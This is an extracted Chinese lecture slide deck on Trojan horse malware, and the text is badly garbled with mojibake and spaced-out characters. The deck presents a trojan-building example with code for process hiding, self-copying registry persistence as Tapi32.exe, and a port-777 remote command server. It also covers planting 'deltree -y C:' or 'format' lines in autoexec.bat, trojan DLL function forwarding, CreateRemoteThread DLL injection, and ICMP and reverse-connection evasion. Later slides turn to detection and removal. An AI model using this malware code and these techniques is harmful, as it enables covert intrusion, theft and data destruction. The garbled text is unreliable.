《特洛伊木馬》PPT課件
《《特洛伊木馬》PPT課件》由會(huì)員分享,可在線閱讀,更多相關(guān)《《特洛伊木馬》PPT課件(83頁(yè)珍藏版)》請(qǐng)?jiān)谘b配圖網(wǎng)上搜索。
1、一 種 特 殊 的 病 毒 特 洛 伊 木 馬( Trojan horse) 特 洛 伊 木 馬 電 影 圖 片 本 章 的 學(xué) 習(xí) 目 標(biāo) 掌 握 特 洛 伊 木 馬 的 概 念 了 解 木 馬 技 術(shù) 的 發(fā) 展 趨 勢(shì) 掌 握 木 馬 開 發(fā) 實(shí) 例 理 解 木 馬 的 關(guān) 鍵 技 術(shù) 掌 握 木 馬 攻 擊 的 方 法 掌 握 木 馬 防 范 方 法 章 節(jié) 主 要 內(nèi) 容 1 木 馬 的 概 述 2 木 馬 程 序 的 開 發(fā) 實(shí) 例 3 木 馬 程 序 的 關(guān) 鍵 技 術(shù) 4 木 馬 攻 擊 的 清 除 及 其 相 關(guān) 經(jīng) 驗(yàn) 5 木 馬 檢 測(cè) 及 清 除 代 碼 特 洛 伊 木
2、 馬 (Trojan Horse) 是 一 種 與 遠(yuǎn) 程 計(jì) 算 機(jī) 之 間 建 立 起 連 接 , 使 遠(yuǎn) 程計(jì) 算 機(jī) 能 夠 通 過(guò) 網(wǎng) 絡(luò) 控 制 用 戶 計(jì) 算 機(jī) 系 統(tǒng) 并 且可 能 造 成 用 戶 的 信 息 損 失 、 系 統(tǒng) 損 壞 甚 至 癱 瘓的 程 序 。 木 馬 的 組 成 硬 件 : 控 制 端 、 服 務(wù) 端 、 Internet 軟 件 : 控 制 端 程 序 、 木 馬 程 序 、 木 馬 配 置 程 序 連 接 : 控 制 、 服 務(wù) 端 IP, 控 制 、 服 務(wù) 端 Port 流 行 木 馬 的 基 本 特 征 1、 隱 蔽 性 是 其 首 要 的
3、特 征 木 馬 和 遠(yuǎn) 程 控 制 軟 件 的 最 主 要 區(qū) 別 不 產(chǎn) 生 圖 標(biāo) 不 出 現(xiàn) 在 任 務(wù) 管 理 器 中 。 2、 它 具 有 自 動(dòng) 運(yùn) 行 性 啟 動(dòng) 文 件 、 啟 動(dòng) 組 、 注 冊(cè) 表 3、 木 馬 程 序 具 有 欺 騙 性 名 字 方 式 : 字 母 “ l”與 數(shù) 字 “ 1”、 字 母 “ o”與 數(shù) 字 “ 0” 相 同 文 件 名 但 不 同 路 徑 常 用 圖 標(biāo) : Zip 4、 具 備 自 動(dòng) 恢 復(fù) 功 能 (高 級(jí) 技 術(shù) ) 5、 能 自 動(dòng) 打 開 特 別 的 端 口 6、 功 能 的 特 殊 性 搜 索 緩 存 中 的 口 令 、 設(shè)
4、 置 口 令 、 掃 描 目 標(biāo) 機(jī) 器 的 IP地 址 、進(jìn) 行 鍵 盤 記 錄 、 遠(yuǎn) 程 注 冊(cè) 表 的 操 作 、 以 及 鎖 定 鼠 標(biāo) 等功 能 7、 黑 客 組 織 趨 于 公 開 化 木 馬 的 分 類 1、 遠(yuǎn) 程 控 制 型 木 馬BO和 冰 河 2、 發(fā) 送 密 碼 型 木 馬 3、 鍵 盤 紀(jì) 錄 型 木 馬 4、 破 壞 型 木 馬 5、 FTP型 木 馬 遠(yuǎn) 程 控 制 、 木 馬 與 病 毒 木 馬 和 控 制 軟 件 目 的 不 同 有 些 木 馬 具 有 控 制 軟 件 的 所 有 功 能 是 否 隱 藏 木 馬 和 普 通 病 毒 傳 播 性 ( 木 馬 不
5、 如 病 毒 ) 兩 者 相 互 融 合 木 馬 程 序 YAI采 用 了 病 毒 技 術(shù) “ 紅 色 代 碼 ” 病 毒 已 經(jīng) 具 有 木 馬 的 遠(yuǎn) 程 控 制 功 能 木 馬 的 發(fā) 展 方 向 1、 跨 平 臺(tái) 性 2、 模 塊 化 設(shè) 計(jì) 3、 更 新 更 強(qiáng) 的 感 染 模 式 4、 即 時(shí) 通 知 5、 更 強(qiáng) 更 多 的 功 能 2 木 馬 程 序 的 開 發(fā) 實(shí) 例 編 程 語(yǔ) 言 選 擇 以 CSocket為 基 類 生 成 CMySocket類 。CMySocket類 的 功 能 是 用 來(lái) 使 本 程 序 變 成一 個(gè) 服 務(wù) 器 程 序 。 自 動(dòng) 隱 藏 / Wi
6、n9x隱 藏 技 術(shù) DWORD dwVersion = GetVersion(); / 得 到 操 作 系 統(tǒng) 的 版 本 號(hào) if (dwVersion = 0 x80000000) / 操 作 系 統(tǒng) 是 Win9x,不 是 WinNt typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD); /定 義 RegisterServiceProcess() 函 數(shù) 的 原 型 HINSTANCE hDLL; LPREGISTERSERVICEPROCESS lpRegisterServiceProcess; hDLL =
7、 LoadLibrary(KERNEL32.dll); /加 載 RegisterServiceProcess()函 數(shù) 所 在 的 動(dòng) 態(tài) 鏈 接 庫(kù) KERNEL32.DLL lpRegisterServiceProcess =(LPREGISTERSERVICEPROCESS)GetProcAddress( hDLL,RegisterServiceProcess); /得 到 RegisterServiceProcess()函 數(shù) 的 地 址 lpRegisterServiceProcess(GetCurrentProcessId(),1); /執(zhí) 行 RegisterServicePr
8、ocess()函 數(shù) ,隱 藏 本 進(jìn) 程 FreeLibrary(hDLL); /卸 載 動(dòng) 態(tài) 鏈 接 庫(kù) 用 RegisterServiceProcess函 數(shù)實(shí) 現(xiàn) 后 臺(tái) 服 務(wù) 進(jìn) 程 。 未 公 開 核 心 函 數(shù) Win NT 2K下 怎 么 實(shí) 現(xiàn) ? 自 動(dòng) 加 載 木 馬 的 第 一 次 執(zhí) 行 如 何 實(shí) 現(xiàn) 第 一 次 以 后 的 自 動(dòng) 加 載 ? 注 冊(cè) 表 代 碼 功 能 :HKLMSoftwareMicrosoftWindowsCurrentVersionRun%System%Tapi32 CopyFile( commandline, SystemPath+T
9、api32.exe, FALSE); /將 自 己 拷 貝 到 %System%目 錄 下 ,并 改 名 為 Tapi32.exe,偽 裝 起 來(lái) registry-Open(HKEY_LOCAL_MACHINE,SoftwareMicrosoftWindowsCurrentVersionRun); registry-QueryValue(TempPath,crossbow, registry-SetValue(SystemPath+Tapi32.exe, crossbow ); Server端 功 能 命 令 接 收 接 下 來(lái) 就 是 啟 動(dòng) Server端 的 Socket來(lái) 接 收 客
10、 戶 端 的 命 令 。 Port 777 核 心 代 碼 : pSocket-Receive( lpBuf, 1000); /接 收 客 戶 端 數(shù) 據(jù) if(strnicmp(lpBuf,CMD:,4) = 0) ExecuteCommand( lpBuf , FALSE); /執(zhí) 行 遠(yuǎn) 端 應(yīng) 用 程 序 else if(strnicmp(lpBuf,!SHUT,5) = 0) SendText( Exit program!, pSocket ); OnExit(); /退 出 木 馬 程 序 將 要 實(shí) 現(xiàn) 的 功 能 : CMD 執(zhí) 行 應(yīng) 用 程 序!SHUT 退 出 木 馬FI
11、LEGET 獲 得 遠(yuǎn) 端 文 件 EDITCONF 編 輯 配 置 文 件LIST 列 目 錄VIEW 察 看 文 件 內(nèi) 容CDOPEN 關(guān) CDCDCLOSE 開 CDREBOOT 重 啟 遠(yuǎn) 端 機(jī) 器 Server端 功 能 修 改 配 置 Autoexec.bat和 Config.sys 代 碼 :_chmod(c:autoexec.bat, S_IREAD | S_IWRITE);_chmod(c:config.sys, S_IREAD | S_IWRITE); fwrite(content,sizeof(char),strlen(content),fp);/寫 入 添 加 的
12、語(yǔ) 句 , 例 如 deltree -y C:或 者format q C: Server端 功 能 實(shí) 現(xiàn) list命 令 CFileFind finder; BOOL bWorking = finder.FindFile(*.*); while (bWorking) /循 環(huán) 得 到 下 一 層 文 件 或 目 錄 bWorking = finder.FindNextFile(); if ( finder.IsDots() | finder.IsDirectory() ) strResult = Dire: ; else strResult = File: ; strResult += fi
13、nder.GetFileName(); strResult += n; SendText( strResult, pSocket ); /返 回 Return_Text變 量 的 內(nèi) 容 Server端 功 能 實(shí) 現(xiàn) View命 令 int Read_Num=fread(temp_content, 1, 300, fp); /從 目 標(biāo) 文 件 中 讀 入 前 300個(gè) 字 符 while(Read_Num=300) strResult += (CString)temp_content; /strResult的 內(nèi) 容 加 上 剛 才 的 字 符 for(int i=0;iSend(void
14、 *)m_msg, m_msg.GetLength() ); 從 服 務(wù) 器 端 獲 取 反 饋 信 息 ReceiveResult(m_msg); 斷 開 Socket通 訊 的 代 碼 如 下 : m_ptrComSocket-Close(); 代 碼 及 演 示 下 列 問(wèn) 題 就 值 得 仔 細(xì) 考 慮 : 首 先 是 程 序 的 大 小 問(wèn) 題 ; 還 有 啟 動(dòng) 方 式 的 選 擇 ; 木 馬 的 功 能 還 可 以 大 大 擴(kuò) 充 ; 殺 掉 防 火 墻 和 殺 毒 軟 件 ; 針 對(duì) 來(lái) 自 反 匯 編 工 具 的 威 脅 ; 自 動(dòng) 卸 載 等 。 3 木 馬 程 序 的 關(guān)
15、 鍵 技 術(shù) 木 馬 程 序 技 術(shù) 發(fā) 展 的 4個(gè) 階 段 : 第 一 階 段 主 要 實(shí) 現(xiàn) 簡(jiǎn) 單 的 密 碼 竊 取 、 發(fā) 送 等 功 能 , 沒(méi) 有 什 么 特 別之 處 。 第 二 階 段 在 技 術(shù) 上 有 了 很 大 的 進(jìn) 步 , 主 要 體 現(xiàn) 在 隱 藏 、 控 制 等 方面 。 國(guó) 內(nèi) 冰 河 可 以 說(shuō) 是 這 個(gè) 階 段 的 典 型 代 表 之 一 。 第 三 階 段 在 數(shù) 據(jù) 傳 遞 技 術(shù) 上 做 了 不 小 的 改 進(jìn) , 出 現(xiàn) 了 基 于 ICMP協(xié)議 的 木 馬 , 這 種 木 馬 利 用 ICMP協(xié) 議 的 畸 形 報(bào) 文 傳 遞 數(shù) 據(jù) , 增
16、 加 了查 殺 的 難 度 。 第 四 階 段 在 進(jìn) 程 隱 藏 方 面 做 了 非 常 大 的 改 動(dòng) , 采 用 了 內(nèi) 核 插 入 式的 嵌 入 方 式 , 利 用 遠(yuǎn) 程 插 入 線 程 技 術(shù) 嵌 入 DLL線 程 , 或 者 掛 接PSAPI實(shí) 現(xiàn) 木 馬 程 序 的 隱 藏 。 即 使 在 Windows NT/2K下 , 這 些 技術(shù) 都 達(dá) 到 了 良 好 的 隱 藏 效 果 。 相 信 , 第 五 代 木 馬 的 技 術(shù) 更 加 先 進(jìn) 。 Socket技 術(shù) 客 戶 機(jī) 請(qǐng) 求 響 應(yīng) 進(jìn) 程 通 訊 設(shè) 施 服 務(wù) 器 請(qǐng) 求 響 應(yīng) 服 務(wù) 器 socket( )
17、bind( ) readfrom( ) sendto( ) 阻 塞 , 等 待 客 戶 數(shù) 據(jù) 處 理 服 務(wù) 請(qǐng) 求 socket( ) bind( ) sendto( ) readfrom( ) 客 戶 機(jī) 服 務(wù) 請(qǐng) 求 服 務(wù) 應(yīng) 答 無(wú) 連 接 套 接 應(yīng) 用 程 序 時(shí) 序 圖 close( ) close( ) 服 務(wù) 器 socket( ) bind( ) listen( ) 阻 塞 , 等 待 客 戶 數(shù) 據(jù) 處 理 服 務(wù) 請(qǐng) 求 socket( ) connect( ) write( ) 客 戶 機(jī) 請(qǐng) 求 數(shù) 據(jù) 應(yīng) 答 數(shù) 據(jù) 面 向 連 接 套 接 應(yīng) 用 程 序
18、時(shí) 序 圖 read( ) read( ) accept( ) write( ) 建 立 連 接 close( ) close( ) 重 要 的 系 統(tǒng) 文 件 win.ini文 件 中 的 啟 動(dòng) 加 載 項(xiàng) : windwos段中 有 如 下 加 載 項(xiàng) :run=Load= system.ini中 的 啟 動(dòng) 加 載 項(xiàng) : 在 BOOT子 項(xiàng)中 的 “ Shell”項(xiàng) :shell= 修 改 注 冊(cè) 表 HKEY_CLASSES_ROOT: 此 處 存 儲(chǔ) 的 信 息 可 以 確 保 當(dāng)使 用 Windows資 源 管 理 器 打 開 文 件 時(shí) , 將 使 用 正 確 的 應(yīng) 用程
19、序 打 開 對(duì) 應(yīng) 的 文 件 類 型 。 HKEY_CURRENT_USER: 存 放 當(dāng) 前 登 錄 用 戶 的 有 關(guān) 信息 。 用 戶 文 件 夾 、 屏 幕 顏 色 和 “ 控 制 面 板 ” 設(shè) 置 存 儲(chǔ) 在 此處 。 該 信 息 被 稱 為 用 戶 配 置 文 件 。 HKEY_LOCAL_MACHINE: 包 含 針 對(duì) 該 計(jì) 算 機(jī) ( 對(duì) 于 任何 用 戶 ) 的 配 置 信 息 。 HKEY_USERS: 存 放 計(jì) 算 機(jī) 上 所 有 用 戶 的 配 置 文 件 。 HKEY_CURRENT_CONFIG: 包 含 本 地 計(jì) 算 機(jī) 在 系 統(tǒng) 啟動(dòng) 時(shí) 所 用
20、的 硬 件 配 置 文 件 信 息 。 HKEY_DYN_DATA: 記 錄 系 統(tǒng) 運(yùn) 行 時(shí) 刻 的 狀 態(tài) 。 (Run), (RunOnce), (RunOnceEx), (RunServices), (RunServicesOnce) 20多 個(gè) API函 數(shù) 修 改 文 件 關(guān) 聯(lián) 當(dāng) 你 打 開 了 一 個(gè) 已 修 改 了 打 開 關(guān) 聯(lián) 的 文 件時(shí) , 木 馬 也 就 開 始 了 它 的 運(yùn) 作 。 選 擇 文 件 格 式 中 的 “ 打 開 ” 、 “ 編 輯 ” 、“ 打 印 ” 項(xiàng) 目 。 例 如 冰 河 木 馬 病 毒HKEY_CLASSES_ROOTtxtfiles
21、hellopencommand中 的 鍵 值 “ c:windowsnotepad.exe %1”, 改 為 “ sysexplr.exe %1”。 遠(yuǎn) 程 屏 幕 抓 取 如 果 鍵 盤 和 鼠 標(biāo) 事 件 記 錄 不 能 滿 意 時(shí) , 需 要 抓 取 被 控 制 端 屏 幕 , 形 成 一 個(gè) 位 圖 文件 , 然 后 把 該 文 件 發(fā) 送 到 控 制 端 計(jì) 算 機(jī) 顯示 出 來(lái) 。 輸 入 設(shè) 備 控 制 通 過(guò) 網(wǎng) 絡(luò) 控 制 目 標(biāo) 機(jī) 的 鼠 標(biāo) 和 鍵 盤 , 以 達(dá)到 模 擬 鼠 標(biāo) 和 鍵 盤 的 功 能 。 使 用 技 術(shù) : Keybd_event, mouse_e
22、vent /模 擬 A鍵 按 鍵 過(guò) 程 keybd_event(65,0,0,0); keybd_event(65,0,KEYEVENTF_KEYUP,0); /模 擬 按 下 左 鍵 GetCursorPos( SetCursorPos(lpPoint.x, lpPoint.y); mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 遠(yuǎn) 程 文 件 管 理 操 作 目 標(biāo) 機(jī) 文 件 的 方 式 通 常 有 兩 種 : 一 種 是 共 享 目 標(biāo) 機(jī) 的 硬 盤 , 進(jìn) 行
23、任 意 的 文 件 操 作 ; 另 一 種 是 把 自 己 的 計(jì) 算 機(jī) 配 置 為 FTP( File Transfer Protocol, 文 件 傳 輸 協(xié) 議 ) 服 務(wù) 器 。 使 用 函 數(shù) CInternetSession GetFtpConnection GetFile PutFile 共 享 硬 盤 數(shù) 據(jù) Windows 2000/NT/XP: HKEY_LOCAL_MACHINESYSTEMControlSet001ServiceslanmanserverShares Windows 9x: HKEY_LOCAL_MACHINESoftwareMicrosoftWind
24、owsCurrentVersionNetworkLanMan Flags /類 型 Path /目 錄 Remark /備 注 Type Parm1enc Parm2enc 隱 藏 技 術(shù) 反 彈 式 木 馬 技 術(shù) 定 義 : 利 用 防 火 墻 對(duì) 內(nèi) 部 發(fā) 起 的 連 接 請(qǐng) 求 無(wú) 條 件 信 任的 特 點(diǎn) , 假 冒 是 系 統(tǒng) 的 合 法 網(wǎng) 絡(luò) 請(qǐng) 求 來(lái) 取 得 對(duì)外 的 端 口 , 再 通 過(guò) 某 些 方 式 連 接 到 木 馬 的 客 戶端 , 從 而 竊 取 用 戶 計(jì) 算 機(jī) 的 資 料 同 時(shí) 遙 控 計(jì) 算機(jī) 本 身 。 反 彈 式 木 馬 訪 問(wèn) 客 戶 端 的
25、 80端 口 , 防 火 墻 無(wú) 法 限 制 。 例 如 , “ 網(wǎng) 絡(luò) 神 偷 ” 防 范 : 使 用 個(gè) 人 防 火 墻 , 其 采 用 獨(dú) 特 的 “ 內(nèi) 墻 ” 方 式 應(yīng) 用程 序 訪 問(wèn) 網(wǎng) 絡(luò) 規(guī) 則 。 隱 藏 技 術(shù) 用 ICMP方 法 隱 藏 連 接 TCP UDP木 馬 的 弱 點(diǎn) : 等 待 和 運(yùn) 行 的 過(guò) 程 中 , 始 終 有 一個(gè) 和 外 界 聯(lián) 系 的 端 口 打 開 著 。 原 理 : 由 于 ICMP報(bào) 文 是 由 系 統(tǒng) 內(nèi) 核 或 進(jìn) 程 直 接 處 理 而 不 是 通 過(guò) 端 口 , 這就 給 木 馬 一 個(gè) 擺 脫 端 口 的 絕 好 機(jī) 會(huì) 。
26、 木 馬 將 自 己 偽 裝 成 一 個(gè) Ping的 進(jìn) 程 , 系 統(tǒng) 就 會(huì) 將ICMP_ECHOREPLY( Ping的 回 包 ) 的 監(jiān) 聽(tīng) 、 處 理 權(quán) 交 給 木 馬 進(jìn)程 。 一 旦 事 先 約 定 好 的 ICMP_ECHOREPLY包 出 現(xiàn) ( 可 以 判 斷 包 大 小 、ICMP_SEQ等 特 征 ) , 木 馬 就 會(huì) 接 受 、 分 析 并 從 報(bào) 文 中 解 碼 出 命令 和 數(shù) 據(jù) 。 即 使 防 火 墻 過(guò) 濾 ICMP報(bào) 文 , 一 般 也 不 過(guò) 率 ICMP_ECHOREPLY包 , 否 則 就 不 能 進(jìn) 行 Ping操 作 了 。 因 此 , 具
27、 有 對(duì) 于 防 火 墻 和 網(wǎng) 關(guān) 的 穿透 能 力 。 隱 藏 技 術(shù) 隱 藏 端 口 為 了 隱 藏 端 口 , 采 用 兩 種 思 路 : 寄 生 和 潛 伏 寄 生 就 是 找 一 個(gè) 已 經(jīng) 打 開 的 端 口 , 寄 生 其 上 , 平時(shí) 只 是 監(jiān) 聽(tīng) , 遇 到 特 殊 的 指 令 就 進(jìn) 行 解 釋 執(zhí) 行 。 潛 伏 是 說(shuō) 使 用 IP協(xié) 議 族 中 的 其 它 協(xié) 議 而 不 是 TCP或 UDP來(lái) 進(jìn) 行 通 訊 , 從 而 瞞 過(guò) Netstat和 端 口 掃 描軟 件 。 一 種 比 較 常 見(jiàn) 的 潛 伏 手 段 是 使 用 ICMP協(xié) 議 。 其 他 方 法
28、 : 對(duì) 網(wǎng) 卡 或 Modem進(jìn) 行 底 層 的 編 程 。 隱 藏 技 術(shù) NT進(jìn) 程 的 隱 藏 進(jìn) 程 和 端 口 聯(lián) 系 在 一 起 的 方 法 很 常 見(jiàn) 。 因此 , 需 要 隱 藏 進(jìn) 程 來(lái) 達(dá) 到 隱 藏 木 馬 的 目 的 。 實(shí) 現(xiàn) 進(jìn) 程 隱 藏 有 兩 種 思 路 : 第 一 是 讓 系 統(tǒng) 管 理 員 看 不 見(jiàn) ( 或 者 視 而 不 見(jiàn) )你 的 進(jìn) 程 ; 第 二 是 不 使 用 進(jìn) 程 。 能 否 使 用 第 一 種 方 式 ? 在 Windows中 有 多 種 方 法 能 夠 看 到 進(jìn) 程 的 存 在 : PSAPI( Process Status A
29、PI) ; PDH( Performance Data Helper) ; ToolHelp API。 如 果 我 們 能 夠 欺 騙 用 戶 和 入 侵 檢 測(cè) 軟 件 用 來(lái) 查 看 進(jìn) 程 的 函數(shù) ( 例 如 截 獲 相 應(yīng) 的 API調(diào) 用 , 替 換 返 回 的 數(shù) 據(jù) ) , 我 們就 完 全 能 實(shí) 現(xiàn) 進(jìn) 程 隱 藏 。 但 是 存 在 兩 個(gè) 難 題 : 一 來(lái) 我 們 并 不 知 道 用 戶 和 入 侵 軟 件 使 用 的 是 什 么 方 法 來(lái) 查 看 進(jìn) 程列 表 ; 二 來(lái) 如 果 我 們 有 權(quán) 限 和 技 術(shù) 實(shí) 現(xiàn) 這 樣 的 欺 騙 , 我 們 就 一 定
30、能 使 用其 它 的 方 法 更 容 易 的 實(shí) 現(xiàn) 進(jìn) 程 的 隱 藏 。 使 用 第 二 種 方 式 最 流 行 。 DLL是 Windows系 統(tǒng) 的 另 一 種 “ 可 執(zhí) 行 文 件 ” 。 DLL文 件是 Windows的 基 礎(chǔ) , 因 為 所 有 的 API函 數(shù) 都 是 在 DLL中 實(shí)現(xiàn) 的 。 DLL文 件 沒(méi) 有 程 序 邏 輯 , 是 由 多 個(gè) 功 能 函 數(shù) 構(gòu) 成 ,它 并 不 能 獨(dú) 立 運(yùn) 行 , 一 般 都 是 由 進(jìn) 程 加 載 并 調(diào) 用 的 。 假 設(shè) 我 們 編 寫 了 一 個(gè) 木 馬 DLL, 并 且 通 過(guò) 別 的 進(jìn) 程 來(lái) 運(yùn) 行它 , 那
31、 么 無(wú) 論 是 入 侵 檢 測(cè) 軟 件 還 是 進(jìn) 程 列 表 中 , 都 只 會(huì) 出現(xiàn) 那 個(gè) 進(jìn) 程 而 并 不 會(huì) 出 現(xiàn) 木 馬 DLL, 如 果 那 個(gè) 進(jìn) 程 是 可 信進(jìn) 程 , ( 例 如 資 源 管 理 器 Explorer.exe, 沒(méi) 人 會(huì) 懷 疑 它 是木 馬 吧 ? ) 那 么 我 們 編 寫 的 DLL作 為 那 個(gè) 進(jìn) 程 的 一 部 分 ,也 將 成 為 被 信 賴 的 一 員 而 為 所 欲 為 。 用 DLL實(shí) 現(xiàn) 木 馬 功 能用 DLL實(shí) 現(xiàn) 木 馬 功 能 , 然 后 , 用 其 他 程 序 啟動(dòng) 該 DLL. 有 三 種 方 式 : 最 簡(jiǎn) 單
32、的 方 式 RUNDLL32 特 洛 伊 DLL 線 程 插 入 技 術(shù) 最 簡(jiǎn) 單 的 方 式 RUNDLL32Rundll32 DllFileName FuncNameRundll32.exe MyDll.dll MyFunc 程 序 演 示 (參 見(jiàn) : .othercodetestdll) 比 較 高 級(jí) 的 方 式 特 洛 伊 DLL 特 洛 伊 DLL( 欺 騙 DLL) 的 工 作 原 理 是 使 用 欺 騙 DLL替 換 常 用 的DLL文 件 , 通 過(guò) 函 數(shù) 轉(zhuǎn) 發(fā) 器 將 正 常 的 調(diào) 用 轉(zhuǎn) 發(fā) 給 原 DLL, 截 獲 并 處理 特 定 的 消 息 。 函 數(shù) 轉(zhuǎn)
33、 發(fā) 器 forward的 認(rèn) 識(shí) 。 Visual Studio 7命 令 提 示 符 dumpBin -Exports c:windowssystem32Kernel32.dll | more 演 示 程 序 實(shí) 現(xiàn) / Function forwarders to functions in DllWork #pragma comment(linker, /export:ForwardFunc=Kernel32.HeapCreate) 演 示 ( 參 見(jiàn) : .othercodetestdll源 代 碼 ) 實(shí) 現(xiàn) 描 述 我 們 知 道 WINDOWS的 Socket1.x的 函 數(shù) 都
34、 是 存放 在 wsock32.dll中 的 , 那 么 我 們 自 己 寫 一 個(gè)wsock32.dll文 件 , 替 換 掉 原 先 的 wsock32.dll( 將 原 先 的 DLL文 件 重 命 名 為 wsockold.dll) 我們 的 wsock32.dll只 做 兩 件 事 , 一 是 如 果 遇 到 不認(rèn) 識(shí) 的 調(diào) 用 , 就 直 接 轉(zhuǎn) 發(fā) 給 wsockold.dll( 使 用函 數(shù) 轉(zhuǎn) 發(fā) 器 forward) ; 二 是 遇 到 特 殊 的 請(qǐng) 求( 事 先 約 定 的 ) 就 解 碼 并 處 理 。 特 洛 伊 DLL的 弱 點(diǎn) : system32目 錄 下
35、有 一 個(gè) dllcache的 目 錄 , 這 個(gè) 目 錄 中 存放 著 大 量 的 DLL文 件 , 一 旦 操 作 系 統(tǒng) 發(fā) 現(xiàn) 被 保 護(hù) 的 DLL文 件 被 篡 改 ( 數(shù) 字 簽 名 技 術(shù) ) , 它 就 會(huì) 自 動(dòng) 從 dllcache中 恢 復(fù) 這 個(gè) 文 件 。 有 些 方 法 可 以 繞 過(guò) dllcache的 保 護(hù) : 先 更 改 dllcache目 錄 中 的 備 份 再 修 改 DLL文 件 利 用 KnownDLLs鍵 值 更 改 DLL的 默 認(rèn) 啟 動(dòng) 路 徑 等 同 時(shí) 特 洛 伊 DLL方 法 本 身 也 有 一 些 漏 洞 ( 例 如 修 復(fù) 安 裝
36、 、安 裝 補(bǔ) 丁 、 升 級(jí) 系 統(tǒng) 、 檢 查 數(shù) 字 簽 名 等 方 法 都 有 可 能導(dǎo) 致 特 洛 伊 DLL失 效 ) , 所 以 這 個(gè) 方 法 也 不 能 算 是 DLL木 馬 的 最 優(yōu) 選 擇 。 最 高 級(jí) 方 式 動(dòng) 態(tài) 嵌 入 技 術(shù)DLL木 馬 的 最 高 境 界 是 動(dòng) 態(tài) 嵌 入 技 術(shù) , 動(dòng) 態(tài) 嵌入 技 術(shù) 指 的 是 將 自 己 的 代 碼 嵌 入 正 在 運(yùn) 行 的 進(jìn)程 中 的 技 術(shù) 。 多 種 嵌 入 方 式 : 窗 口 Hook、 掛接 API、 遠(yuǎn) 程 線 程 。 隱 藏 技 術(shù) 遠(yuǎn) 程 線 程 技 術(shù) 遠(yuǎn) 程 線 程 技 術(shù) 指 的 是 通
37、 過(guò) 在 另 一 個(gè) 進(jìn) 程 中創(chuàng) 建 遠(yuǎn) 程 線 程 的 方 法 進(jìn) 入 那 個(gè) 進(jìn) 程 的 內(nèi) 存地 址 空 間 。 通 過(guò) CreateRemoteThread也 同 樣 可 以 在 另一 個(gè) 進(jìn) 程 內(nèi) 創(chuàng) 建 新 線 程 , 新 線 程 同 樣 可 以共 享 遠(yuǎn) 程 進(jìn) 程 的 地 址 空 間 。 HANDLE CreateRemoteThread( HANDLE hProcess,PSECURITY_ATTRIBUTES psa, DWORD dwStackSize,PTHREAD_START_ROUTINE pfnStartAddr,PVOID pvParam, DWORD fd
38、wCreate,PDWORD pdwThreadId); 一 個(gè) 地 址 DWORD WINAPI ThreadFunc(PVOID pvParam); HINSTANCE LoadLibrary(PCTSTR pszLibFile); 兩 個(gè) 函 數(shù) 非 常 類 似 需 解 決 的 問(wèn) 題 : 第 一 個(gè) 問(wèn) 題 , 獲 取 LoadLibrary的 實(shí) 際 地 址 。 PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT(Kernel32), Load
39、LibraryA); 第 二 個(gè) 問(wèn) 題 , 把 D L L路 徑 名 字 符 串 放 入 宿 主 進(jìn) 程 。 使用 : VirtualAllocEx, VirtualFreeEx , ReadProcessMemory ,WriteProcessMemory 等 函 數(shù) 。 操 作 步 驟 做 一 個(gè) 歸 納 : 1) 使 用 Vi r t u a l A l l o c E x函 數(shù) , 分 配 遠(yuǎn) 程 進(jìn) 程 的 地 址空 間 中 的 內(nèi) 存 。 2) 使 用 Wr i t e P r o c e s s M e m o r y函 數(shù) , 將 D L L的路 徑 名 拷 貝 到 第 一
40、個(gè) 步 驟 中 已 經(jīng) 分 配 的 內(nèi) 存 中 。 3) 使 用 G e t P r o c A d d r e s s函 數(shù) , 獲 取 L o a d L i b r a r y A或 L o a d L i b r a t y W函 數(shù) 的 實(shí) 地 址 ( 在 K e r n e l 3 2 . d l l中 ) 。 4) 使 用 C r e a t e R e m o t e T h r e a d函 數(shù) , 在 遠(yuǎn) 程 進(jìn)程 中 創(chuàng) 建 一 個(gè) 線 程 , 它 調(diào) 用 正 確 的 L o a d L i b r a r y函 數(shù) ,為 它 傳 遞 第 一 個(gè) 步 驟 中 分 配 的
41、內(nèi) 存 的 地 址 。 5) 使 用 Vi r t u a l F r e e E x函 數(shù) , 釋 放 第 一 個(gè) 步驟 中 分 配 的 內(nèi) 存 。 6) 使 用 G e t P r o c A d d r e s s函 數(shù) , 獲 得 F r e e L i b r a r y函 數(shù) 的 實(shí) 地 址 ( 在 K e r n e l 3 2 . d l l中 ) 。 7) 使 用 C r e a t e R e m o t e T h r e a d函 數(shù) , 在遠(yuǎn) 程 進(jìn) 程 中 創(chuàng) 建 一 個(gè) 線 程 , 它 調(diào) 用 F r e e L i b r a r y函 數(shù) , 傳 遞 遠(yuǎn) 程
42、D L L的 H I N S TA N C E。 看 代 碼 及 演 示 ( 參 見(jiàn) : . othercodeinjlib 和 Imgwalk) 服 務(wù) 器 端 程 序 的 包 裝 與 加 密 一 個(gè) 試 驗(yàn) : text.txt, 其 內(nèi) 容 為 “ This is for test!” C:type text.txtTest.exe 運(yùn) 行 Test.exe 演 示 ( 參 見(jiàn) : .othercoebindexe) 木 馬 會(huì) 把 一 些 配 置 信 息 放 在 exe文 件 的 最 后 。例 如 , 冰 河 木 馬 4 木 馬 攻 擊 的 方 法 及 相 關(guān) 經(jīng) 驗(yàn) 1 木 馬 病
43、毒 的 常 用 騙 術(shù) 2 全 面 防 治 木 馬 病 毒 3 幾 種 常 見(jiàn) 木 馬 病 毒 的 殺 除 方 法 4 已 知 木 馬 病 毒 的 端 口 列 表 木 馬 病 毒 的 常 用 騙 術(shù) 1.修 改 批 處 理Autoexec.bat(自 動(dòng) 批 處 理 , 在 引 導(dǎo) 系 統(tǒng) 時(shí) 執(zhí)行 ) Winstart.bat(在 啟 動(dòng) GUI圖 形 界 面 環(huán) 境 時(shí) 執(zhí) 行 ) Dosstart.bat(在 進(jìn) 入 MS-DOS方 式 時(shí) 執(zhí) 行 ) 2.修 改 系 統(tǒng) 配 置System.iniWin.ini 3.借 助 自 動(dòng) 運(yùn) 行 功 能 根 目 錄 下 新 建 一 個(gè) Aut
